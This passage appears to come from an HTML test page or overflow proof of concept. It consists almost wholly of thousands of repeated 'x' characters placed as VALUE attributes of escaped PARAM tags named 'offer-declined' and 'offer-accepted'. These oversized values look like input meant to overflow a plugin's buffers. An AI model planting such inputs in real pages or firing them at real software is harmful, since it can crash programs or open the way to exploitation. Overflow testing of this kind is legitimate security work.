xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;offer-declined\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\u0026#34;\u0026gt; \u0026lt;PARAM NAME=\u0026#34;offer-accepted\u0026#34; VALUE=\u0026#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx